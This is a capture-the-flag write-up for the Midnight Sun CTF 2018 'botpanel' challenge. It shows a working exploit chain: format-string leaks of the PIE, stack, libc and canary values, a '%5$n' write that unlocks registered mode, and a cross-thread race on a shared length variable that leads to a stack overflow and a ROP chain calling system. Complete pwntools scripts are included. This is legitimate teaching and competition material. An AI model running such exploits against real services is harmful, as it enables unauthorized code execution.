midnightsun CTF 2018 - botpanel

These cyber criminals are selling shells like hot cakes off thier new site. Pwn their botpanel for us so we can stop them

Solves: 19

Service: nc pwn.midnightsunctf.se 31337

Author: likvidera

Attachment: botpanel libc xpl.py server.py server2.py

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

Botpanel acts as a management panel for botnets, in which we could also invite friends, if we own a registered version.

So, let’s take a look at it:

                          ▄▄▄▄▄                            
                             ▄ ▄▄                           
                           ▄ ▄ ▄ ▄                          
                           ▀▄  ▄  ▄                         
                                   ▄                        
                                 ▀▄                         
                                    ▄                       
                                                            
                                                            
                                 ▄▄                         
                              ▄▄      ▄▄                    
                    ▄▄      ▄▄ ▄▄       ▄▄▄                 
                   ▄▄▄▄▄ ▄▄▄▄▄  ▄▄         ▄                
                      ▄▄▄    ▄▄       ▄  ▄ ▄                
                      ▄   ▄▄▄▄       ▄▀   ▀▀                
                  ▀▄ ▄▄ ▄ ▄▄▄▄▄▄▄▄ ▄▄▄                      
                     ▄ ▄▄ ▄▄   ▄▄▄ ▄▀                       
                     ▄▄▄▄   ▄▄ ▄   ▀                        
                   ▄▄▄ ▄▀▀  ▄ ▄▄  ▄                         
                   ▀▀▀▀    ▀▀▀▄▄▄▄▀                         
                              ▄▄▄▀                          
                                                            
  ▄▄ $1337 SHELLS ▄▄                           ▄▄ $2 CCs! ▄▄                                                  
 ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ BOT PANEL LOGIN ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄


        Panel password: notrealpw!! 

MENU [TRIAL MODE]
 1) Show available bots
 2) Send invite
 3) Send feedback
 4) Quit
> 2
Invites not allowed in Trial-mode, send some Bitcoins for full-access!

We can use the password from the provided config, if running locally, but obviously it won’t be the correct password for the remote service.

Also this [TRIAL MODE] doesn’t look right. Thus, first, we have to:

  • find the correct password for the remote service
  • change trial mode to registered mode

Let’s take a look at the login handling

void login(char *server_pw, char *conf)
{
    char buffer[12];
    int tries = 5;
    memset(buffer, 0, 12);

    while ( 1 )
    {
        printf("\n\t\tPanel password: ");
        read(0, buffer, 12);
        remove_newline(buffer);
        len_pw = strlen(server_pw);
        if (!strncmp(buffer, server_pw, len_pw))
            break;
        printf("\t\t\x1B[31mIncorrect!\x1B[0m %d attempts left\n", --tries);
        printf("\t\tYour attempt was: ");
        printf(buffer);         // Format string vuln
        if ( !tries )
            exit(0);
    }

    if ( conf[1] == 'T' )
        trial_mode = 1;  
}

There’s a pretty obvious format string vulnerability in the login handler, which can be used to leak some stuff. We won’t be able to do “much” more than leaking with it, since the format string is limited to 12 characters, which just isn’t enought to do arbitrary writes.

But we’ll try to make the most out of it.

When doing format string exploits, I mostly just start with a little scanner, showing me the pointer and content of every format string parameter.

def scan():
    with open("output.1", "w") as f1:
        for i in range(200):
            try :
                r = process(["./botpanel_e0117db42051bbbe6a9c5db571c45588", "1000"])
                
                r.sendlineafter("password: ", "AAAA%%%d$p" % i)
                r.recvuntil("was: ")
                LEAK = r.recvline().strip()

                f1.write("%d => %s\n" % (i, LEAK))
            except:
                pass
            finally:
                r.close()

This will write an output file, which we can use to check, what to use for leaking

0 => AAAA%0$p
1 => AAAA0x4
2 => AAAA0xb
3 => AAAA0x565560c0   <== PIE leak
4 => AAAA0x5655b008
5 => AAAA0xffffd5a0   <== STACK leak
6 => AAAA0xffffd5a0
7 => AAAA0xffffd5a8
8 => AAAA0xf7e54347   <== LIBC leak
9 => AAAA0xf7fa8000
10 => AAAA0x4
11 => AAAA(nil)
12 => AAAA0x41414141   <== Format String
13 => AAAA0x24333125
14 => AAAA0x70
15 => AAAA0xee025500   <== Canary
16 => AAAA0xf7fa8000
17 => AAAA0x56559f64
18 => AAAA0xffffd5c8
19 => AAAA0x56556403
20 => AAAA0xffffd5a8
21 => AAAA0xffffd5a0

We could now check the other addresses with gdb, but for getting a quick overview we just replace the format string send with

r.sendlineafter("password: ", "AAAA%%%d$s" % i)

and get

0 => AAAA%0$s
3 => AAAAÃ¤>
4 => AAAAˆ$­ûu±UVv±UVh±UVh±UVh±UVh±UVh±UVhÁUV
5 => AAAA:T
6 => AAAA:T
7 => AAAAnotrealpw!!
8 => AAAAÃ¹<
9 => AAAA°
11 => AAAA(null)
16 => AAAA°
17 => AAAA|N
18 => AAAA
19 => AAAAƒÄèØýÿÿ¸
20 => AAAAnotrealpw!!        <== Password
21 => AAAA:T
23 => AAAAˆ$­ûu±UVv±UVh±UVh±UVh±UVh±UVh±UVhÁUV
24 => AAAA./botpanel_e0117db42051bbbe6a9c5db571c45588

Without any real effort, we now have every leak at hand, we could possible need to exploit this any further.

 
def exploit(r):
    log.info("Leak stack / pie / libc")

    r.sendafter("password: ", "%3$p%5$p%8$p")
    r.recvuntil("was: ")
    LEAK = r.recvline().strip()
    PIE = int(LEAK[0:10], 16)
    STACK = int(LEAK[10:20], 16)
    LIBC = int(LEAK[20:30], 16)

    log.info("PIE leak         : %s" % hex(PIE))
    log.info("STACK leak       : %s" % hex(STACK))
    log.info("LIBC leak        : %s" % hex(LIBC))

    log.info("Leak canary")
    
    r.sendlineafter("password: ", "%15$p")
    r.recvuntil("was: ")
    CANARY = int(r.recvline().strip(), 16)

    log.info("CANARY           : %s" % hex(CANARY))
[+] Starting local process './botpanel_e0117db42051bbbe6a9c5db571c45588': pid 2680
[2680]
[*] Paused (press any to continue)
[*] Leak stack / pie / libc
[*] PIE leak         : 0x565560c0
[*] STACK leak       : 0xffffdde0
[*] LIBC leak        : 0xf7e7d817
[*] CANARY           : 0x3c94e300

For getting the server password, just send %20$s and note it somewhere. Since the password will not change, we don’t need to waste a try on retrieving it again and again.

Going through the binary at first, it might seem, as everything’s fine, every buffer is only read with a correct size, so no overflows will happen. There’s just this invite-mode, that’s only accessible when we’re not in trial mode. It will let you enter an IP and a port, starting a new thread, connecting to the specified machine and show them a menu, in which they can only send a feedback in the end.

Before getting into the feedback handling, we should find a way to get into registered mode.

if ( conf[1] == 'T' )
        trial_mode = 1;  

So, if conf[1] isn’t T we’ll be out of trial mode. Well, though we cannot do much writing with our format string vuln from login, writing one single null byte is possible. Also, if you check where config is stored, you’ll see that it is accessable by the 5th format string parameter, so getting into registered mode boils down to just

log.info("Set registered mode")
r.sendlineafter("password: ", "%5$n")

if LOCAL:
    PW = "notrealpw!!"
else:
    PW = ">@!ADMIN!@<"

log.info("Do real login")
r.sendlineafter("password: ", PW)
    
r.recvuntil("> ")
[*] Paused (press any to continue)
[*] Leak stack / pie / libc
[*] PIE leak         : 0x565560c0
[*] STACK leak       : 0xffffdde0
[*] LIBC leak        : 0xf7e7d817
[*] Leak canary
[*] CANARY           : 0x8f4dd500
[*] Set registered mode
[*] Do real login
[*] Switching to interactive mode

MENU [REGISTERED MODE]
 1) Show available bots
 2) Send invite
 3) Send feedback
 4) Quit

We can now invite other clients, which will let the service connect back to the specified machine:

int connectback(const char *ip, int port)
{
    pthread_t* th;
    int fd;
    struct sockaddr addr;

    ...

    if ( connect(fd, &addr, 0x10u) < 0 )
    {
      puts("Failed to send invite to that IP! Disconnecting ...");
      _exit(-1);
    }

    if ( g_con_num > 1u )                // Maximum of 2 clients allowed
      puts("Maximum invites sent!");
  
    ++g_con_num;
    
    th = (pthread_t *)calloc(4, 1);
    g_con[g_con_num] = fd;

    pthread_create(th, &g_thread_attr, (void *(*)(void *))invite_handler, &g_con[g_con_num]);

    return 0;
}

With this, we can invite a maximum of two other clients to the botpanel. After connecting, this will create a thread handling the clients. In invite_handler it will show them another menu, in which they can send feedback back to the service.

unsigned int feedback_len;

void send_feedback(int socket_fd)
{
  char answer[2];
  char buffer[50];

  memset(buffer, 0, 50);
  
  sendstr(socket_fd, "\nFeedback length: ");
  feedback_len = get_int(socket_fd);

  if (feedback_len <= 50)
  {
    sendstr(socket_fd, "\nFeedback: ");

    recv_until(socket_fd, buffer, feedback_len, '\n');
    sendstr(socket_fd, "\nEdit feedback y/n?: ");
    recv_until(socket_fd, answer, 2, '\n');

    if ( answer[0] == 'y' )
    {
      sendstr(socket_fd, "\nFeedback: ");
      recv_until(socket_fd, buffer, feedback_len, '\n');
    }
  }
  else
  {
    sendstr(socket_fd, "\nFeedback length is incorrect!\n");
  }  
}

At first, this looks ok. The binary checks, that a valid feedback length is specified, before it will read to the feedback buffer, so nothing bad should happen.

But then again, feedback_len is a global variable and every client is running in a thread. Thus, feedback_len is shared over all threads, and one client changing this variable will also effect other clients.

Short attack plan:

  • Invite client 1
  • Invite client 2
  • Client 2 starts sending feedback
    • Specify a valid feedback length, getting into edit mode
    • Write some short feedback
    • Wait on the question Edit feedback
  • Client 1 start sending feedback
    • Specify a feedback length of 2000
    • Getting an error, that length would be invalid (but feedback_len is now 2000)
  • Back to client 2
    • Answer yes to Edit feedback
    • Client 2 can now send 2000 bytes into buffer, easily smashing it

I wrote three scripts for those tasks. In hindsight, it would have been even easier to just handle all three connections in one script, but well, ctf time ;)

  • Main exploit, connecting to the service, doing leaks and inviting the other two clients
  • Server 1, waiting for connection
  • Server 2, waiting for connection, doing a ropchain to execute a command in the thread of the main exploit

Main Exploit

def sendinvite(ip, port):
    r.sendline("2")
    r.sendlineafter("IP:", ip)
    r.sendlineafter("Port:", str(port))
    r.recvuntil("> ")

def exploit(r):
    log.info("Leak stack / pie / libc")

    r.sendafter("password: ", "%3$p%5$p%8$p")
    r.recvuntil("was: ")
    LEAK = r.recvline().strip()
    PIE = int(LEAK[0:10], 16)
    STACK = int(LEAK[10:20], 16)
    LIBC = int(LEAK[20:30], 16)

    log.info("PIE leak         : %s" % hex(PIE))
    log.info("STACK leak       : %s" % hex(STACK))
    log.info("LIBC leak        : %s" % hex(LIBC))

    log.info("Leak canary")

    r.sendlineafter("password: ", "%15$p")
    r.recvuntil("was: ")
    CANARY = int(r.recvline().strip(), 16)

    log.info("CANARY           : %s" % hex(CANARY))

    log.info("Set registered mode")
    r.recvuntil("password: ")
    r.sendline("%5$n")

    if LOCAL:
        PW = "notrealpw!!"
    else:
        PW = ">@!ADMIN!@<"

    log.info("Do real login")
    r.recvuntil("password: ")
    r.sendline(PW)

    r.interactive()
    r.recvuntil("> ")

    with open("data", "w") as f:
        f.write("%s\n" % hex(PIE))
        f.write("%s\n" % hex(LIBC))
        f.write("%s\n" % hex(STACK))
        f.write("%s\n" % hex(CANARY))

    MYIP = "XXX.XXX.XXX.XXX"        # replace with your ip address ;)

    sendinvite(MYIP, 6666)
    sendinvite(MYIP, 7777)

    log.info("Wait for invite servers to send command...")

    r.interactive()
    
    return

This will do the leaking, writing it to a file for simple communication with our server scripts. It will then send two invites back to our own machine on port 6666 and 7777, where our secondary server scripts will be waiting.

The first one, will just wait 2 seconds (more than enough for the second script to get into the edit feedback block), and then overwrite the feedback length:

from pwn import *

log.info("Wait for incoming connection...")

l = listen(6666)
_ = l.wait_for_connection()

log.info("Go into feedback menu...")
l.recvuntil("> ")
l.sendline("3")

log.info("Waiting for second server to go into feedback...")
time.sleep(2)
l.sendlineafter("length: ", "2000")

log.info("Feedback length sent...")
pause()

The second server script will read the leaks found by the main exploit and then enter directly into the edit feedback block by specifying a valid feedback length, and sending a small feedback.

It will then wait 3 seconds, so the first server script will have corrupted the feedback length size, and then edit the feedback, smashing the stack.

from pwn import *
import time

libc = ELF("./libc.so")

log.info("Wait for incoming connection...")

l = listen(7777)

_ = l.wait_for_connection()

log.info("Read current leaks...")

with open("data", "r") as f:
    data = f.readlines()

PIE = int(data[0], 16)
LIBC = int(data[1], 16)
STACK = int(data[2], 16)
CANARY = int(data[3], 16)
PIEBASE = PIE - 0x10c0

libc.address = LIBC - 0x5d817

log.info("PIE leak         : %s" % hex(PIE))
log.info("PIE base         : %s" % hex(PIEBASE))
log.info("STACK leak       : %s" % hex(STACK))
log.info("LIBC leak        : %s" % hex(LIBC))
log.info("CANARY           : %s" % hex(CANARY))
log.info("LIBC             : %s" % hex(libc.address))

log.info("Give feedback with valid size")
l.recvuntil("> ")
l.sendline("3")
l.sendlineafter("length: ", "10")
l.sendlineafter("Feedback: ", "abc")

log.info("Wait for server one to manipulate feedback size...")
time.sleep(3)

log.info("Edit feedback with corrupt feedback size...")
l.sendlineafter("y/n?: ", "y")

POP = PIEBASE + 0x875
POP3 = PIEBASE + 0x00000f57

payload = "A"*52
payload += p32(CANARY)
payload += "B"*8
payload += p32(0xcafebabe)
payload += p32(libc.symbols["read"])
payload += p32(POP3)
payload += p32(5)
payload += p32(PIEBASE + 0x5500)
payload += p32(0x100)
payload += p32(libc.symbols["system"])
payload += p32(POP)
payload += p32(PIEBASE + 0x5500)

l.sendlineafter("Feedback: ", payload)

log.info("Send command...")
l.sendline("/bin/cat ./flag\x00")

pause()

The ropchain will read the command, we want to execute, into bss and then just call system(buffer), which will execute the command and show the result in our main exploit terminal.

We’ll just open three terminals, and start the main exploit (1) and the script for server 1 (2) and server 2 (3)

(1) Starting main exploit:

[+] Opening connection to pwn.midnightsunctf.se on port 31337: Done
[*] Leak stack / pie / libc
[*] PIE leak         : 0x565ac0c0
[*] STACK leak       : 0xffc938e0
[*] LIBC leak        : 0xf762a817
[*] CANARY           : 0xa3c49f00
[*] Set registered mode
[*] Do real login
[*] Wait for invite servers to send command...

(2) This will connect to our first server script

[*] Wait for incoming connection...
[+] Trying to bind to 0.0.0.0 on port 6666: Done
[+] Waiting for connections on 0.0.0.0:6666: Got connection from 52.30.206.11 on port 34102
[*] Go into feedback menu...
[*] Waiting for second server to go into feedback...

(3) This one is now waiting for the second script to send a valid feedback and get into edit mode

[*] '/home/kileak/pwn/Challenges/midnight/pwn/botpanel/libc.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Wait for incoming connection...
[+] Trying to bind to 0.0.0.0 on port 7777: Done
[+] Waiting for connections on 0.0.0.0:7777: Got connection from 52.30.206.11 on port 40988
[*] Read current leaks...
[*] PIE leak         : 0x565ac0c0
[*] PIE base         : 0x565ab000
[*] STACK leak       : 0xffc938e0
[*] LIBC leak        : 0xf762a817
[*] CANARY           : 0xa3c49f00
[*] LIBC             : 0xf75cd000
[*] Give feedback with valid size
[*] Wait for server one to manipulate feedback size...

(2) Shortly after, the first server script will kick in again, changing the feedback length

[*] Feedback length sent...
[*] Paused (press any to continue)

(3) And finally our second server script can overflow the feedback, send our ropchain and the command we want to execute:

[*] Edit feedback with corrupt feedback size...
[*] Send command...
[*] Paused (press any to continue)

(1) which will now execute our command and show it in the main exploit terminal again 8)

[*] Wait for invite servers to send command...
[*] Switching to interactive mode
midnight{d0nt_d0_th3_cr1m3_1f_y0u_c4nt_d0_th3_t1m3}
/home/ctf/redir.sh: line 2:  6224 Segmentation fault      (core dumped) ./chall 60
[*] Got EOF while reading in interactive